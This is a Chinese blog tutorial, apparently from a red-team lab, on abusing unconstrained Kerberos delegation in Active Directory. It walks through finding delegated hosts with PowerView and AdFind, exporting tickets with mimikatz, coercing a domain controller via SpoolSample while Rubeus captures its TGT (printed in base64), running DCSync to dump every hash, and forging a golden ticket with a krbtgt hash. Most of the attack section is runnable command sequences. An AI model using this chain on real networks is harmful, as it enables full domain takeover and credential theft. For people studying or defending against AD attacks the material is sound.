• 域渗透之非约束委派


     

    域委派

    首先了解一下什么是委派,委派即委托安排,我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

    域委派流程

    一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack,以Kerberos 协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos认证。 img

    流程

    1. 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器; Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;

    2. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;

    3. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;

    4. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;

    5. websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。

    非约束委派攻击

    在域内只有主机账号和服务账号才有委派属性

    主机账号:活动目录中的computers组内的计算机,也被 称为机器账号。

    服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加 入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

    从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机 器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

    域环境

    域管:dc1 10.10.10.142

    备用域管:dc2 10.10.10.140

    域用户1:12server1 10.10.10.152

    域用户2: 12server2 10.10.10.138

    搭建复现

    注册服务用户 注册服务账号后 具有委派选项

    setspn -A https/web web

     

     

    设置主机委派

     

    当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含 TRUSTED_FOR_DELEGATION

    powerview 查询配置非约束委派

    导入模块 PowerView.ps1

    Import-Module .\PowerView.ps1

    查询非约束主机

    Get-NetComputer -Unconstrained -Domain redteam.club

     

    查询非约束用户

    Get-NetUser -Unconstrained -Domain redteam.club | select name

     

    adfind查询非约束委派

    非约束委派的主机
    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)
    (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    非约束委派的用户:
    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)
    (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

    非约束委派攻击案例

    域管理使用winrm服务器远程连接域内主机

    Enter-PSSession -ComputerName 12server2

     

     

    此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:

    privilege::debug
    sekurlsa::tickets /export

    导入先前凭证:

    kerberos::ptt 凭证名称
    kerberos::list

    访问域控ad1

     

    非约束委派&Spooler

    登录12server2的cmd

    runas /profile /user:12server2\administrator cmd.exe

     

    确认目标主机开启相关权限

    后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控ad1的登录
    本地管理员运行
    Rubeus.exe monitor /interval:1 /filteruser:ad1$ > c:\hash.txt
    本地cmd
    SpoolSample.exe ad1 12server2

    表示利用打印服务强制让域控机向12server2主机验证身份,这样我们的Rubeus就可以监听到TGS了

     

    提取tgs

    doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRn
        dBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7Xu9LjAWiSmr5BxONwMGP/uhdCMNTfr4/d9nu1+AXd1+66P
        b4uvP6IdH5aYXyqCmiYSGoRaKbb2TMqnQRYpVFDR/L8nbv+drVJL+pdUSdy6pvhJw8uhTtIPeK/gaYu/3iO1OUqzK7Um34YHo30U
        4/qhaZUquaT5S/QotOe0Dl1KomEJgW2YVKD/qEd+Dc6/6cEVr/QTFQX6k8PiYpcJENTSGrcmMnVBYJV8JGg0Z3tRc6Z2hfZSYOoa
        xzIt8AhOwZ1lPi6AgNojcmbga8cJ0FU6ZbXuoaEzvewkacmOuR6V6mjHNwy87AZUbiju4Is4jrkWGm5vFWW0pR1xuG519a2QajNk
        GM8on+K5il3ZUXwllnulmtCnRbSKk0MBgvTX8dioa/IsnAyqC6rU7CoBnRe1voOxJcxInK9VfUbLcJYka+j1vUgyzMYfS+O+0zSI
        oZ4XfM5lzCOG0tIzj15LMWmoP5T/5Ad7i761j+9xn4buFjtdStgtTCO2o6A6uqKKlrED6S6q1Zi7NtxFZQlRmGoJOruLzy0sWDet
        +uDVnNEG65+t7IcE4FEBFZ3JWGIxykh0XKzYswMPPgQQ6+wEISqOys3EWQMe68ftVIutOV7sdyAN0yx/Pi2fanGNAieovIIqCqz3
        bqb5DwUN7suTM5wNbrnfiVlcWFLXyb3bog2/cP/+XYVQniuqEpk6Gz+36exYhLKCb/Thzz4Ld1mmmMueoEAvDl1wcpv8jbD0mVJX
        aFGqGe7jmlzuDBNLLX8725eSm973Lj9qvdw3FiSPvVZvcdBHcFgIbaLyIQyEfUM+i0VKqSfUKxxcnABVkoldSnD2EW3Tiufz5CDC
        TuGJanqSA1tB6Mmlvsf6jCotadYpenrlQ5AVNt2YCxLnPh4qSuc9DlNbFsuWpCVZu0bgrVsWcuq9LfPaWdjK+4iQmY8WJukcRSQO
        L5lVBXPSFFLhMdQT0s5O+7lgRSOP7j1atrqQMkZRUVNqRGwuloM05nP6W7IIDwQ6OTwjzcdC2Hz0Jb5FodjEPPVqvWKKHEcsZgig
        ffDRxtdBCR8suwNK7VhNpPstYBGPIi8WERYUYAuF3w7BppXp1ZwjrPXYEJP2XeS6v6eNmoLtiXE9H6QVMFmQue5rDRwuFABe6PGa
        5Ze9CRzdnwUnIDIU9tkOtfik7RdEXXSmkk4bIaPPADY5LMlNeT9HXsmrPnsFE9UT0A1sSvPQJCmsSKST1j0AM9lXj7eBRQ95fx7e
        Mp6+Z2gNJA8p8H5MTalso4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQg5GlyBnawcQWtydP1Juxo
        yZrBlDkfbQ/Mgd7iuSlEKzmhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDIyMTExMjEw
        NDAxOVqmERgPMjAyMjExMTIyMDM5MzhapxEYDzIwMjIxMTE5MTAzOTM4WqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZr
        cmJ0Z3QbDFJFRFRFQU0uQ0xVQg==

    然后直接用 powershell 转到为正常的 TGT 即可

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的
    base64"))

    注入票据 导出hash 导入票据后ptt即可

    用mimikatz也可

    kerberos::list
    kerberos::ptt 票据路径
    导出hash
    mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt
    

    制作黄金票据访问域控

    当前的权限是域的本地管理员,不是域控的权限,所以还是要制作黄金票据 访问域控 获取域控的sid

    whoami /all
    S-1-5-21-2365300756-2663045586-4193326672

    sid 不需要后面的位数 制作黄金票据语句

    kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-
    4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator
    /ticket:ntlm.kirbi

    制作成功后 导入票据访问域控

     

    kerberos::ptt ntlm.kirbi
    dir \\ad1\c$
    管理员权限
    两个人从监狱的窗户往外看,一个看见了土地,一个看见了星星。

     

  • 相关阅读:
    Burp Suite--Get acquainted for the first time
    CDN加速服务:网站快递服务
    b和B的区别?大B与小b的区别(Bps与bps)以及b、B、KB、MB、TB、PB、EB的换算
    半监督学习理解
    DNA序列(DNA Consensus String, ACM/ICPC Seoul 2006, UVa1368) rust解法
    OpenJDK上十几种发行版中强烈推荐版本:Adoptium Eclipse Temurin
    springboot日志配置(logback+slf4j配置)
    K_A08_003 基于 STM32等单片机驱动L9110模块按键控制直流电机正反转加减速启停
    Netty优化与源码
    Android菜单(上下文菜单)(选项菜单)
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127825596